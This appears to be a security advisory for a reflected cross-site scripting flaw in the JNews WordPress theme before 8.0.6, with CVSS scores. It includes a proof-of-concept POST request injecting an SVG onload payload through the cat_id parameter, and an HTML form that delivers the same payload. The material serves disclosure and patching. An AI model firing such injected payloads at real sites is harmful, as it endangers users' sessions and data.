JNews < 8.0.6 - Reflected Cross-Site Scripting (XSS)

2021-05-2400:00:00

Truoc Phan

173

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

JSON

The theme did not sanitise the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*), leading to a Reflected Cross-Site Scripting (XSS) issue.

POST /?ajax-request=jnews HTTP/1.1
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 130
Connection: close

lang=en_US&cat_id=6"><svg/onload=alert(/XSS/)>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67


<html>
  <body>
    <form action="https://example.com/?ajax-request=jnews" method="POST">
      <input type="hidden" name="lang" value="en&#95;US" />
      <input type="hidden" name="cat&#95;id" value="6&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;&#47;XSS&#47;&#41;&gt;" />
      <input type="hidden" name="action" value="jnews&#95;build&#95;mega&#95;category&#95;2" />
      <input type="hidden" name="number" value="6" />
      <input type="hidden" name="tags" value="70&#44;64&#44;10&#44;67" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>